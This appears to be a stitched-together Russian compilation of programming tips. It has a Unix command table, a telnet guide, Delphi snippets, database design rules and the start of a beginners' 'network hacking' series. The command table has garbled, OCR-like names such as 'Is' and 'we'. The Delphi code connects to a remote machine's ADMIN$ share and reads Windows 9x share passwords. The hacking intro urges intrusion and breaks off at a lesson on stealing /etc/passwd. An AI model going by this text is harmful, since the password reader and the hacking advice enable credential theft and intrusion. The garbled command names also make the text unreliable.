| ввод команды при работе с графическим интерфейсом | xterm, dtterm, shelltool |
| компиляция С-программ, копирование файлов | cat, cp, filemgr, dtfile |
| копирование файлов на удаленную систему и с удаленной системы | гср |
| копирование файлов между UNIX-системами | uucp |
| вычисление контрольной суммы файла | sum |
| нумерация строк текстового файла | n1 |
| объединение нескольких файлов в один | cat |
| объединение отсортированных файлов по общему полю | join |
| объединение файлов в качестве двух столбцов | paste |
| вывод или установка значений переменных окружения | env |
| ожидание завершения процесса | wait |
| отправка сообщения другому пользователю | write |
| очистка экрана | clear |
| вывод состояния службы печати | Ipstat |
| запуск службы печати | Ipsched |
| останов службы печати | Ipshut |
| печать заголовка | banner |
| персональный календарь | calendar, cm, dtcm |
| подсчет количества слов в текстовом файле | we |
| выполнение повторяющихся задач | crontab |
| поиск текстовых строк | egrep, grep, fgrep |
| поиск и замена символов | tr |
| поиск в файле | awk, nawk |
| поиск файлов | find |
| вывод списка пользователей | listusers |
| вывод информации о других пользователях системы | who |
| поиск информации о других пользователях системы | finger |
| выполнение последовательности команд | batch |
| запуск команды с пониженным приоритетом | nice |
| проверка правописания | spell |
| прерывание процесса | kill |
| вывод списка процессов | PS |
| присоединение содержимого файлов к существующему файлу | cat |
| разбиение файла на части | csplit, split |
| редактирование текстового файла | vi, ed, dtpad, textedit, |
| xedit | |
| резервирование информации | tar, cpio |
| поиск и замена символов | tr |
| вывод списка известных систем | uuname |
| вывод системного идентификатора пользователя | id |
| вывод системных сообщений | news |
| подсчет числа слов в файле | we |
| вывод состояния службы UUCP | uustat |
| создание нового текстового файла | cat, dtpad, textedit, |
| xedit | |
| установка соединения с удаленным | |
| терминалом | ct |
| установка соединения с удаленной | |
| UNIX-системой | cu |
| разрешение/запрет вывода сообщений на | |
| терминал | mesg |
| вывод сообщений | news |
| сортировка файла | sort |
| сортировка и обработка файла | awk, nawk |
| вывод состояния машин в сети | ruptime |
| вывод списка файлов в каталоге | Is |
| сравнение содержимого двух каталогов | dircmp |
| сравнение содержимого двух отсортированных файлов | comm |
| сравнение трех файлов | diff3 |
| сравнение двух файлов и вывод отличающихся строк | diff, bdiff |
| сравнение двух файлов | cmp |
| сравнение двух файлов и вывод | |
| отличающихся и совпадающих строк | sdiff |
| создание ссылок | In |
| печать на стандартный вывод | echo |
| запись стандартного вывода в файл | tee |
| вывод столбца из отсортированного файла | cut |
| поиск текстовых строк в бинарном файле | strings |
| поиск текстовых строк | egrep, grep, fgrep |
| табличный процессор | tbi |
| настройка табуляции | tabs |
| смена текущего каталога | cd |
| вывод имени текущего каталога | pwd |
| открытие окна терминала | xterm, |
| dtterm, | |
| shelltool | |
| вывод информации о терминале | tput |
| настройка конфигурации терминала | stty |
| вывод параметров терминала | tty |
| определение типа файла | file |
| удаление из очереди заданий, созданных | |
| командой at | atrm |
| удаление заданий из очереди печати | cancel |
| удаление каталога | rmdir, |
| filemgr, | |
| dtfile | |
| удаление файла | rm, filemgr, |
| dtfile | |
| удаление форматирующих символов | |
| из файла | col |
| копирование файлов с удаленной системы | rep, uucp, |
| ftp | |
| выполнение команды на удаленной системе | uux |
| запуск интерпретатора командной строки на | |
| удаленной системе | rsh |
| вход в удаленную систему | telnet, |
| riogin | |
| вывод информации о соединениях с | |
| удаленными системами | uulog |
| создание нового текстового файла | cat, dtpad, |
| textedit, | |
| xedit | |
| изменение даты модификации файла на | |
| текущую | touch |
| вывод полного имени файла | basename |
| вывод файла на экран | cat, page, dtpad, textedit, xedit |
| постраничный вывод файла на экран | more |
| вывод на экран первых десяти строк файла | head |
| вывод на экран последних десяти строк файла | tail |
| вывод списка файлов в каталоге | Is |
| копирование файла | cat, cp, filemgr, dtfile |
| определение типа файла | file |
| поиск файла | find |
| разбиение файла | split |
| редактирование файла | vi, ed, dtpad. textedit, xedit |
| удаление файла | rm |
| шифрование файла | crypt |
| печать формул | eqn, neqn |
| отображение шрифта | xfd, xfontsel |
| вывод списка доступных шрифтов | xlsfonts, fslsfonts |
| отправка и чтение электронной почты | mailx, dtmail, mailtool |
| уведомление о получении новых писем по электронной почте | notify, xbiff |
TELNET.
Оформил: DeeCo
ВведениеПротокол TELNET позволяет вам подсоединиться к удаленному компьютеру, находящемуся где-то “на просторах” Internet, и работать с ним как будто бы вы используете локальную систему, скажем, непосредственно в техническом университете. На практике ваши возможности лимитируются тем уровнем доступа, которым задан для вас администратором удаленной системы. Во всяком случае вы должны иметь свой идентификатор ID (userid или username) и пароль для входа в систему. В то же время, только относительно небольшое количество компьютеров в Internet позволяют свободный доступ через TELNET. Использование TELNET Чтобы подключиться к удаленной машине в Internet и произвести те или иные действия в ней, запустите программу telnet, которая является пользовательским интерфейсом протокола TELNET (в данном случае речь идет о вводе команды на UNIX или UNIX-подобных системах, о работе программ-клиентов для telnet на других платформах будет сказано отдельно). Формат команды (не полная, но достаточная для практики, версия) telnet host [port] где host - официальное доменное имя машины или ее псевдоним (alias), или ее IP-адрес в виде цифр, разделенных точками; port - определяет номер порта (адрес приложения). Если номер порта не задан, то принимается номер порта TELNET по умолчанию - 23. Если команда telnet используется без аргументов, тогда вводится командный режим, о котором сигнализирует подсказка.
telnet >
В этом режиме доступа и выполняются следующие основные команды:
Open host [-port], - открывает соединение с названной системой; close - закрывает TELNET соединения и возвращает вас в командный режим; quit - заканчивает все открытые TELNET соединения и выводит вас из telnet;
! [команда] - выполнение отдельной команды в shell на локальной системе; status - показывает текущий статус telnet;
? [команда] - получение помощи. Если аргумента нет, то telnet выдает список всех своих команд. Возможные сообщения об ошибках.
Unknown Host 1. Имя или адрес были набраны неправильно Connection Refused 1. Удаленный компьютер функционирует с ошибками Connection Dropped Проблема с сетью или удаленным хостом, приведшая к закрытию соединения.
Особенности.
Порой весьма сложно закрыть TELNET-соединения, например, из-за резкого замедления прохождения IP-пакетов или разрыва связи по выделенной линии. Лучший совет - внимательно читать все инструкции, которые появляются, когда вы делаете login в систему. Если же на экране нет ничего, что могло бы помочь, попробуйте одну из этих команд:
exit, quit, logout, //end, end, leave, bye,
disconnect, goodbye, ciao, Ctrl-D, или Ctrl-Z.
В последнем случае на ряде платформ Ctrl-Z переводит ваше TELNET соединение в фоновый режим с выводом номера процесса, после чего желательно оборвать этот процесс командой.
Kill IDprocess.
Если перечисленные команды не приводят к нужному результату, то остается Ctrl-] или Ctrl-^, которые заканчивают TELNET соединение. Это вернет Вас в режим подсказки telnet>. Введите quit или exit после telnet>, этим Вы закончите свой сеанс.
Некоторые примеры и адреса.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ShlObj, Buttons;
//необходимые константы
const
LM20_NNLEN = 12;
SHPWLEN = 8;
SHI50F_RDONLY = 1;
SHI50F_FULL = 2;
STYPE_DISKTREE = 0;
MaxNetArrayItems = 512;
//формируем тип для записи с необходимыми параметрами
type
//для Win'9x
TShareInfo50 = packed record
shi50_netname: array[0..LM20_NNLEN] of Char; //сетевое имя
shi50_type: Byte; //тип ресурса
shi50_flags: Short; //флаг доступа
shi50_remark: PChar; // комментарий
shi50_path: PChar; // путь к ресурсу
shi50_rw_password: array[0..SHPWLEN] of Char; //пароль полного доступа
shi50_ro_password: array[0..SHPWLEN] of Char;
//пароль "только чтение" доступа
end;
TShareEvent = record //информация о сетевом ресурсе
Res: Integer;
ReadOnlyPassword: string;
FullAccessPassword: string;
Comments: string;
Path: string;
end;
< A name = form > < / A >
TForm1 = class(TForm)
edComputerNetName: TEdit;
Button1: TButton;
ComboBox1: TComboBox;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
lbReadOnlyPassword: TLabel;
edReadOnlyPassword: TEdit;
lbFullAccessPassword: TLabel;
edFullAccessPassword: TEdit;
lbComments: TLabel;
edComments: TEdit;
lbPhysicalPath: TLabel;
edPhysicalPath: TEdit;
Label1: TLabel;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
procedure FillShareEnum(Items: TStrings);
function GetComputerNetName: string;
function GetShareInfo(ComputerNetName, ResourceNetName: string):
TShareEvent;
procedure ConnectAdmin;
public
{ Public declarations }
end;
var
Form1: TForm1;
function NetShareGetInfo(const pszServer: PChar; const pszNetName: PChar;
sLevel: SmallInt; pbBuffer: Pointer; cbBuffer: Word;
var pcTotalAvail: Word): DWORD; stdcall; External 'svrapi.dll' name
'NetShareGetInfo';
function NetShareEnum(const pszServer: PChar; sLevel: SmallInt;
pbBuffer: Pointer; cbBuffer: Word; var pcEntriesRead: Word;
var pcTotalAvail: Word): DWORD; stdcall; external 'svrapi.dll';
implementation
{$R *.DFM}
procedure TForm1.ConnectAdmin;
var
CompName: string;
Res: Integer;
lpNetResource: TNetResource;
ComputerName: array[0..MAX_COMPUTERNAME_LENGTH] of Char;
BufSize: Integer;
begin
//получим имя локальной машины
BufSize := MAX_COMPUTERNAME_LENGTH + 1;
GetComputerName(@ComputerName, BufSize);
CompName := string(ComputerName);
//если имя локальной машины совпадает с сетевым именем машины,
//значит идет запрос о сетевом ресурсе локальной машины -
//в этом случае ADMIN$ не нужен
if AnsiUpperCase(CompName) = AnsiUpperCase(edComputerNetName.Text)ThenExit;
//заполним нолями значение указателя
ZeroMemory(@lpNetResource, SizeOf(lpNetResource));
//укажем нужные значения
with lpNetResource do
begin
dwType := RESOURCETYPE_ANY;
lpRemoteName := '';
lpRemoteName := PChar('\\' + edComputerNetName.Text + '\ADMIN$' + #0);
end;
//Сезам, откройся!
Res := WNetAddConnection3(Application.Handle, lpNetResource, nil, nil,
CONNECT_INTERACTIVE);
//Сезам, к сожалению не открылся...
if not (Res = NO_ERROR) then
begin
ShowMessage('With out connected resource ''ADMIN$'' a work impossible!');
Application.Terminate;
end;
end;
function TForm1.GetShareInfo(ComputerNetName, ResourceNetName: string):
TShareEvent;
var
pbBuffer: ^TShareInfo50; //указатель на буфер
Buf: TShareInfo50; //сам буфер
Res: Integer;
pcTotalAvail: Word; //количество считанных байт
begin
with Result do //почистим результат функции
begin
res := 0;
ReadOnlyPassword := '';
FullAccessPassword := '';
Comments := '';
Path := '';
end;
FillChar(Buf, SizeOf(Buf), #0); //заполним буфер нолями
//ничего не укажем о нашем буфере и выполним функцию, в результате чего
//получим в переменную pcTotalAvail количество считанных байт.
NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50, nil, 0,
pcTotalAvail);
//инициализируем буферный указатель и дадим ему нужное количество памяти
GetMem(pbBuffer, pcToTalAvail);
//поместим в буфер имя сетевого ресурса, зачем не знаю - имя мы уже и так
//указываем, но без этого функция почему-то не работает, по крайней мере у меня
StrPCopy(pbBuffer^.shi50_netname, ResourceNetName);
//выполним функцию еще раз уже указав параметры буфера
Res := NetShareGetInfo(PChar(ComputerNetName), PChar(ResourceNetName), 50,
pbBuffer, pcTotalAvail, pcTotalAvail);
if Res = 0 then //все в порядке
begin
//передадим данные из указателя в "обычную" переменную
Buf := pbBuffer^;
//заполним результат полученными значениями
Result.ReadOnlyPassword := string(Buf.shi50_ro_password);
Result.FullAccessPassword := string(Buf.shi50_rw_password);
Result.Comments := string(Buf.shi50_remark);
Result.Path := string(Buf.shi50_path);
end;
//освободим указатель
FreeMem(pbBuffer);
end;
procedure TForm1.FillShareEnum(Items: TStrings);
var
ShareInfo: array[0..MaxNetArrayItems - 1] of TShareInfo50;
EntriesRead, TotalAvial: Word;
Res: Integer;
N: Integer;
begin
Items.Clear; //почистим Items
FillChar(ShareInfo, SizeOf(ShareInfo), #0); //заполним буфер нолями
Res := NetShareEnum(PChar('\\' + edComputerNetName.Text), 50, @ShareInfo,
SizeOf(ShareInfo),
EntriesRead, TotalAvial); //имя сетевой машины возьмем из строки ввода,
//предварительно озаглавив его двумя обратными слэшами
if Res = No_Error then //функция выполнена без ошибок
for N := 0 to EntriesRead - 1 do
//пройдемся по буферу считанных имен ресурсов
if not (string(ShareInfo[N].shi50_netname) = '') then
Items.Add(string(ShareInfo[N].shi50_netname));
//добавим имя машины в список
end;
function TForm1.GetComputerNetName: string;
var
RootItemIDList: PItemIDList;
//идентификатор объекта в пространстве имен проводника
BrowseInfo: TBrowseInfo; //структура, в которой содержится информация о диалоге
Buffer: PChar; //сюда получим имя компьютера
begin
Result := '';
//получим нужный идентификатор PItemIDList, CSIDL_NETWORK - в сетевом окружении
if not (SHGetSpecialFolderLocation(0, CSIDL_NETWORK, RootItemIDList) =
NO_ERROR) then
Exit;
//подготовим буфер, в который получим имя компьютера
GetMem(Buffer, Max_Path);
FillChar(BrowseInfo, SizeOf(BrowseInfo), 0);
//подготовим структуру TBrowseInfo
with BrowseInfo do
begin {With BrowseInfo}
hwndOwner := Application.Handle; //хозяин окна - наше приложение
pidlRoot := RootItemIDList; //полученный ранее идентификатор
// объекта в списке объектов проводника
pszDisplayName := Buffer; //имя компьютера будем принимать в Buffer
lpszTitle := 'Подключенные компьютеры'; //заголовок диалога
ulFlags := BIf_BROWSEFORCOMPUTER; //будут показаны имена только компьютеров
end; {With BrowseInfo}
//выполним нужную функцию
if SHBrowseForFolder(BrowseInfo) = nil ThenExit;
Result := string(Buffer); //вот оно - сетевое имя компьютера
FreeMem(Buffer);
end;
procedure TForm1.Button1Click(Snder: TObject);
begin
edComputerNetName.Text := GetComputerNetName;
FillShareEnum(ComboBox1.Items);
ComboBox1.ItemIndex := 0;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
var
ShareEvent: TShareEvent;
begin
if (edComputerNetName.Text = '') or (ComboBox1.Text = '') then
begin
edComputerNetName.SetFocus;
Exit;
end;
ConnectAdmin;
ShareEvent := GetShareInfo('\\' + edComputerNetName.Text, ComboBox1.Text);
edReadOnlyPassword.Text := ShareEvent.ReadOnlyPassword;
edFullAccessPassword.Text := ShareEvent.FullAccessPassword;
edComments.Text := ShareEvent.Comments;
edPhysicalPath.Text := ShareEvent.Path;
end;
procedure TForm1.BitBtn2Click(Sender: TObject);
begin
Close;
end;
end.
Другие ресурсы, доступные через TELNET.
ndlc.occ.uky.edu или 128.163.38.10(Login: nolc) База данных дистанционного образования acsvax.open.ac.uk или 137.108.48.24 (Username: ICDL, Acconut Code: usa Password: aaa) Open University(UK) newton.dep.anl.gov или 130.292.92.50(Login: bbs) BBS для тех, кто преподает / изучает естественные науки, математику martini.eecs.umich.edu 3000 или 141.212.99.9 3000 - информация о городах США, население, географическое положение и др. locis.loc.gov или 140.147.254.3 marvel.loc.gov или 140.147.2.69 библиотека конгресса США e - math.ams.com или 130.44.1.100(Login / Password: e - math) американское матем.общество, BBS, програмное обеспечение, обзоры. gemm.com база данных о CD и музыкальных клубах enews.com(Login: enews) электронные журналы(выберите Elec.Serials) rusinfo.rus.uni - stuttgart.de или 129.69.1.12(Login: info) Предлагает: журналы, UNIX - материалы, книги и др. culine.colorado.edu 859 / 128.138.129.170 859 Расписание NBA culine.colorado.edu 860 / 128.138.129.170 860 Расписание NHA Archie(поиск нужных файлов по всем анонимным FTP серверам) elnet archie.sura.net or 128.167.254.194(Login: archie) archie.unl.edu or 129.93.1.14 archie.ans.net or 147.225.1.10 archie.rutgers.edu or 128.6.18.15
Здесь приведены только Archie-серверы, расположенные в США, более подробный список приведен в разделе о FTP.
Gopher telnet consultant.micro.umn.edu или 134.84.132.4 infoslug.ucsc.edu или 128.114.143.25[INFOSLUG] infopath.ucsd.edu(Login: infopath) Netfind User Lookup (поиск адреса, места работы пользователя и т.п.) telnet bruno.cs.colorado.edu или 128.138.243.150(Login: netfind) cobber.cord.edu или 138.129.1.32 pascal.sjsu.edu или 130.65.86.15 mudhoney.micro.umn.edu или 134.84.132.7 redmont.cis.uab.edu или 138.26.64.4 ds.internic.net или 198.49.45.10 netfind.oc.com или 192.82.215.88 archie.au или 139.130.4.6 netfind.anu.edu.au или 150.203.2.14 netfind.if.usp.br или 143.107.249.132 netfind.ee.mcgill.ca или 132.206.62.30 malloco.ing.puc.cl или 146.155.1.43 netfind.vslib.cz или 147.230.16.1 nic.nm.kr или 143.248.1.100 lincoln.technet.sg или 192.169.33.6 nic.uakom.sk или 192.108.131.12 monolith.cc.ic.ac.uk или 155.198.5.3 lust.mrrl.lut.ac.uk или 158.125.220.7 dino.conicit.ve или 150.188.1.10 Whois Services поиск по ключевому слову адреса в Internet) telnet rs.internic.net или 198.41.0.5(Login: whois) info.cnri.reston.va.us 185(Knowbot Info Serv.) garam.kreonet.re.kr или 134.75.30.11(Login: nic) paradise.ulcc.ac.uk или 128.86.8.56(Login: dua) WAIStation(Wide Area Information Service) telnet quake.think.com или telnet 192.31.181.1(Login: swais) wais.com или telnet 192.216.46.98 swais.cwis.uci.edu или 128.200.15.2 sunsite.unc.edu или telnet 198.86.40.81 info.funet.fi или 128.214.6.100(Login: info) wais.nis.garr.it или 192.12.192.10(Login: wais)
Программы-клиенты.
Работа с TELNET возможна и с помощью программ-клиентов, функционирующих под более употребительными операционными системами DOS и/или MS-Windows. Один из примеров - free-пакет NCSA Telnet для DOS или WinQVT для Windows.
Обычно пакеты снабжены подробной информацией для инсталляции и тщательной настройки. Если и возникают проблемы, то они связаны больше с таблицами кодировок кириллицы или адекватной реакцией от нажатия комбинаций клавиш или при вызове таких программ как deco или Midnight Commander под UNIX.
Шаблон массива переменной длины.
Автор: Ed Jordan Может ли кто мне подсказать как динамически создать массив записей и получить доступ к отдельным элементам? Определите тип массива, которым может содержать максимальное количество записей, затем определите тип, являющийся указателем на массив. Идея заключается в том, чтобы не создавать экземпляр самого большого массива; а вместо этого использовать указательный тип и GetMem для распределения памяти для необходимого вам количества записей.Я разработал то, что я называю шаблоном массива переменной длины "для бедных людей"...
unit %s;
{ -----------------------------------------------------------
ШАБЛОН МАССИВА ПЕРЕМЕННОЙ ДЛИНЫ
Вы можете использовать этот шаблон для создания массива
переменной длины любого типа данных.
Для того, чтобы превратить шаблон с модуль, прогоните его
через текстовый процессор, выполните во всем файле операцию
поиска/замены для замены знака процента на ваш тип данных.
----------------------------------------------------------- }
interface
const
%MaxCapacity = High(Cardinal) div SizeOf(%);
type
T%Index = 0..%MaxCapacity - 1;
T%s = array[T%Index] of %;
P%s = ^T%s;
function %sSize(Capacity: T%Index): Cardinal;
function Get%s(Capacity: T%Index): P%s;
function Resize%s(var P: P%s;
OldCapacity, NewCapacity: T%Index): P%s;
procedure Free%s(var P: P%s; Capacity: T%Index);
implementation
uses SysUtils;
function %sSize(Capacity: T%Index): Cardinal;
begin
Result := Capacity * SizeOf(%);
end;
function Get%s(Capacity: T%Index): P%s;
begin
GetMem(Result, %sSize(Capacity));
end;
function Resize%s(var P: P%s;
OldCapacity, NewCapacity: T%Index): P%s;
begin
ReAllocMem(P, %sSize(OldCapacity), %sSize(NewCapacity));
end;
procedure Free%s(var P: P%s; Capacity: T%Index);
begin
FreeMem(P, %sSize(Capacity));
P := nil;
end;
end.
|
Вот модуль, использующий после операции поиска и замены (см. выше) тип записи 'MyRecord', содержащий также определение этой записи. Поскольку "MyRecords" было очень длинным для имени модуля, я укоротил его. Имейте в виду, что PMyRecords - тип вашего переменного массива, если вы используете этот модуль.
unit MyRecs;
interface
type
MyRecord = record
AnInt: Integer;
AString: string[10];
end;
const
MyRecordMaxCapacity = High(Cardinal) div SizeOf(MyRecord);
type
TMyRecordIndex = 0..MyRecordMaxCapacity - 1;
TMyRecords = array[TMyRecordIndex] of MyRecord;
PMyRecords = ^TMyRecords;
function MyRecordsSize(Capacity: TMyRecordIndex): Cardinal;
function GetMyRecords(Capacity: TMyRecordIndex): PMyRecords;
function ResizeMyRecords(var P: PMyRecords;
OldCapacity, NewCapacity: TMyRecordIndex): PMyRecords;
procedure FreeMyRecords(var P: PMyRecords; Capacity: TMyRecordIndex);
implementation
uses SysUtils;
function MyRecordsSize(Capacity: TMyRecordIndex): Cardinal;
begin
Result := Capacity * SizeOf(MyRecord);
end;
function GetMyRecords(Capacity: TMyRecordIndex): PMyRecords;
begin
GetMem(Result, MyRecordsSize(Capacity));
end;
function ResizeMyRecords(var P: PMyRecords;
OldCapacity, NewCapacity: TMyRecordIndex): PMyRecords;
begin
ReAllocMem(P, MyRecordsSize(OldCapacity),
MyRecordsSize(NewCapacity));
end;
procedure FreeMyRecords(var P: PMyRecords; Capacity: TMyRecordIndex);
begin
FreeMem(P, MyRecordsSize(Capacity));
P := nil;
end;
end.
|
Наконец, вот пример использования массива переменной длины. Помните, что указатель должен использоваться с символом "^"...
procedure TForm1.Button1Click( Sender: TObject );
var
P: PMyRecords;
begin
P := GetMyRecords( 10 );
try
P^[ 0 ].AnInt := 2001;
P^[ 0 ].AString := 'Космическая одиссея';
finally
FreeMyRecords( P, 10 );
end;
end;
|
Десять заповедей разработчика.
Оформил: DeeCo
Автор: Виноградов С. А.
Здесь перечислены общие рекомендации по избежанию наиболее популярных граблей, по которым так любят ходить разработчики баз данных. Хочу лишь отметить один факт — нарушение перечисленных требований приводит к резкому увеличению времени разработки, росту количества ошибок, неоправданным сложностям в сопровождении и в конечном итоге, к провалу всего проекта.
1. Стандартные имена.Не парьте мне мозги.
Одной сущности должно соответствовать всегда одно имя — это правило, в котором не может быть исключений.
Написание имен должно быть максимально стандартизировано. Регистр букв также важен, даже если средство разработки его не учитывает (зато регистр хорошо учитывается людьми, хотя многие об этом и не подозревают). Лучше всего использовать слова английского языка, без сокращений. Большинство средства разработки не поддерживает идентификаторы, состоящие из букв других языков — и правильно делает. Немногочисленные стандартные аббревиатуры и сокращения должны быть описаны в специальном словаре.
Пример: Если типу объекта соответствует имя ObjectType, то в обращении не должно быть имен вроде ObjType, Objecttype или OBJ_TYPE.
Использование стандартных имен позволяет сэкономить кучу времени, необходимого на поиск нужного имени, а также избежать возможных недоразумений.
2. Отсутствие загадочных значений.Что это за хрень?
Часто неопытные разработчики используют какие-нибудь поля для хранения значений вроде 0, 1, 2 и т.п. Эти поля не ссылаются на другую таблицу, зато используются где-нибудь в выражениях:
if State = 2 then ... else ...
Все ведь понятно, не правда ли? Немногим лучше выглядит и такой вариант: «U», «T», «S». Кто угадает, что здесь означает «U»?
Правильным решением будет создание отдельной таблицы (Id, Code, Name, Note), содержащей набор возможных значений для этого поля. В поле же надо хранить идентификатор (Id) значения из этой таблицы, при необходимости используя код и наименование значения.
Отсутствие загадочных значений освобождает память разработчика от ненужного мусора и уменьшает вероятность возникновения ошибок и непонимания.
3. Поменьше ограничений.Не создавай граблей на пустом месте.
Таблицы и поля стоит создавать с достаточно большим запасом прочности, чтобы не было потом мучительно больно.
Если в задании написано, что какой-нибудь код содержит 17 символов, совсем необязательно понимать это буквально и объявлять поле как char(17). Ведь завтра требования могут измениться, и уже понадобится 22 символа или больше. Гораздо лучше выглядит varchar(120), а места оно занимает не больше.
Когда создается таблица с предполагаемым числом записей не больше нескольких тысяч, вполне разумным кажется использование smallint (2-хбайтовое целое) поля в качестве первичного ключа. А что же будет, если количество записей все-таки превысит 32 тысячи? Придется менять первичный ключ в этой таблице и все внешние ключи, ссылающиеся на нее. Этого можно было бы избежать, сразу сделав первичный ключ размеров в 4 байта.
Кажется, что всегда можно легко произвести любые необходимые изменения в структуре базы данных, однако это далеко не так. База может находиться в круглосуточной работе, в репликации, может быть уже заполненной многомиллионными данными и т.п. И экономия на байтах здесь не уместна.
Отсутствие мелочных ограничений позволяет разработчику не думать о них и создавать более устойчивые и гибкие структуры.
4. Одинаковые ключи.Надо быть проще.
В качестве первичных ключей для всех таблиц сущностей лучше всего использовать суррогатные ключи достаточно большого размера (4—16 байт). При этом, все такие ключи должны быть одного типа.
Благодаря этому, многие проблемы уходят и никогда не возвращаются (разве что в кошмарах). Так как ключ суррогатный, то отпадает необходимость поиска и использования естественного ключа (часто составного). Из-за большого размера ключа не возникает ситуация его переполнения. Наличие у всех сущностей идентификатора одного типа позволяет организовать стандартную работу с этими сущностями.
Единственной проблемой может стать наличие двусторонней репликации между базами данных. Но это легко решается использованием глобального идентификатора в качестве ключа либо разделением диапазонов выделенных для ключей в разных БД.
Одинаковые ключи дают возможность работать с разными сущностями одинаковыми методами, часто используя один и тот же код.
5. Независимость данных.Надо быть гибче.
Нормализация и еще раз нормализация — вот залог жизнеспособности любой базы данных.
Как учат классики, все отдельные сущности должны быть выделены в отдельные таблицы. При этом связь с ними осуществляется по первичному ключу. Одинаковые сущности, наоборот, сводятся в одну таблицу. Зависимости между разными сущностями должны быть минимальны.
Из-за несовершенства SQL (и особенно его реализаций), полностью нормализованная БД может оказаться плохо приспособленной к получению сложных запросов. Поэтому, в исключительных случаях, допускается некоторое дублирование информации для ускорения выборок.
Независимость отдельных сущностей может упростить проект и добавить ему гибкости.
6. Неповторяющийся код.Долой Copy&Paste!
Казалось бы, тривиальное правило, гласящее, что повторяющийся код надо выносить в отдельные функции, знает даже самый неграмотный программист. Однако в случае с SQL все не так просто.
Дело в том, что SQL изначально не предназначен для создания функций, процедур, триггеров и, соответственно, не предполагает для них никакого стандарта. Поэтому у всех SQL-серверов есть свои собственные расширения для написания бизнес-логики. Эти расширения не совместимы друг с другом, а их уровень варьируется от достаточно высокого до совершенно убогого (лишь бы было).
Иногда даже опытные разработчики, впервые столкнувшись с неадекватными SQL-расширениями, впадают в какой-то ступор и забывают все свои навыки, пытаясь использовать навязанные им приемы работы. При этом, часто пишут кучу однообразных триггеров и процедур, выполняющих одинаковые действия для разных таблиц. Тем не менее, правило повторного использования кода никто еще не отменял, и обычно его везде можно применять, хотя и не всегда очевидным образом (например, передавая имя таблицы в качестве параметра).
Повторное использование улучшает качество кода и рекомендуется к применению везде, даже если средство разработки этого не поощряет.
7. Обработка ошибок.Invalid programmer is detected. Abort, Remove, Must Die?
Такое же стандартное правило, как и предыдущее — если хочешь, чтобы программа делала то, что нужно, необходимо проверять результат выполнения каждой функции (и каждого SQL-оператора).
В клиентском приложении должны везде проверяться коды ошибок вызываемых функций. При возникновении ошибки, ее стоит записать в лог-файл, а пользователю должно быть показано уже обработанное внятное сообщение на человеческом языке. То есть вместо «Network link failur» надо вывести «У вас сеть отвалилась, дальнейшая работа невозможна».
Если в приложении все более-менее понятно, то при написании процедур на SQL-сервере разработчики, видимо, надеются, что сервер сам прекратит выполнение процедуры при возникновении ошибки. Как бы не так. После каждого SQL-оператора обязательно должен проверяться и обрабатываться код последней ошибки.
Правильность работы программы не может быть обеспечена без тотальной обработки ошибок.
8. Короткие транзакции.Скажи блокировкам — НЕТ!
Большинство SQL-серверов используют технологию блокировок при любой модификации данных. То есть, данные, измененные в транзакции одним из пользователей, недоступны для других пользователей до завершения этой транзакции.
Совсем избежать блокировок нельзя, однако можно уменьшить продолжительность транзакций. Для этого перед выполнением транзакции для нее должны быть уже подготовлены все необходимые данные. Внутри транзакции не должно быть никаких обращений к внешним устройствам (файлам, сети и т.п.) — только к базе данных. Ситуация, когда внутри транзакции происходит диалог с пользователем, тем более недопустима.
Короткие транзакции дают возможность большему числу пользователей одновременно работать с базой данных, не конфликтуя друг с другом.
9. Наличие метаданных.Кому нужна база без головы?
Метаданные описывают структуру базы данных и взаимосвязи ее объектов.
При некоторых манипуляциях с базой данных может потребоваться информация о том, какие сущности хранятся в этой базе, в каких таблицах и полях, как они связаны друг с другом. Частично эту информацию можно получить из системного каталога SQL-сервера. Но системный каталог предназначен скорее не для разработчика, а для внутреннего использования самим сервером, поэтому найти там что-либо весьма проблематично. При этом, его структура может меняться даже в разных версиях одного сервера, не говоря уже об отсутствии какой-либо совместимости с другими SQL-серверами.
Даже довольно неполные метаданные имеют широкую область применения. Но чаще всего они используются для упрощения собственной работы программистов, вплоть до автоматической генерации приложения и объектов БД.
Наличие метаданных дает полную информацию о базе данных, облегчая разработчикам решение многих задач.
10. Хранение истории.Кто владеет прошлым — тот владеет будущим.
Большинство объектов, хранящихся в базе данных, могут меняться с течением времени.
К сожалению, почти все современные СУБД не хранят историю изменений и не позволяют получить состояние объектов на определенную дату. Об этом должен позаботиться разработчик базы данных.
Только база данных, которая хранит всю историю изменений всех своих объектов, может претендовать на полноту и завершенность. Иначе простейший запрос, вроде «Дайте список объектов в том виде, в котором они были на 01.04.1997 г.», так и останется без ответа.
Любая база данных, хранящая изменяемые объекты, должна содержать полную историю всех их изменений.
Десять уроков сетевого хака.
Оформил: DeeCo
Для самых начинающих...
Сетевые хаки это круто и просто. Однако, как именно, и что именно нужно делать знают еще далеко не все. В народе очень популярны exploit, -то есть готовые инструментарии для взлома, написанные другими хакерами. Но, во-первых, это не интересно и ставит в зависимость от тех, других хакеров (дадут ли они нам или опять зажмут все самое ценное?), а во-вторых, они очень быстро перестают работать - дырки-то затыкаются, а свежих exploit раз два и обчелся, да и те устаревают не по дням, а по часам. Пусть среди аминов много лохов, но и они начинают чесаться, когда их взломают раз - другой кряду. Поэтому единственная возможность учится ломать самим. Самим искать дыры и писать простейший инструментарий для взлома. Однако, как бы это ни было просто, но все же требует определенной усидчивости и умственных усилий. Зато потом можно не просто считать себя хакером, но и быть им! Стоит ли одно другого? Несомненно! Тогда - в путь.. Путь долгий и тернистый. Ведь в двух словах, как это ломают, не расскажешь. Но за десять уроков мы обязательно справимся! (Примечание:эта серия была задумана для журнала "Хакер", но отклонена редакцией, поэтому остальные статьи написаны не были, да и вряд ли будут. Разве, что по настоятельным просьбам читателей. Пишите, если хотите увидеть продолжение) Запасайтесь пивом и быстренько подключайтесь к интернату (начальный доступ у вас все же должен быть). Сейчас начнется самое интересное! УРОК ПЕРЫЙ Как утащить etc/passwdALMA MATER
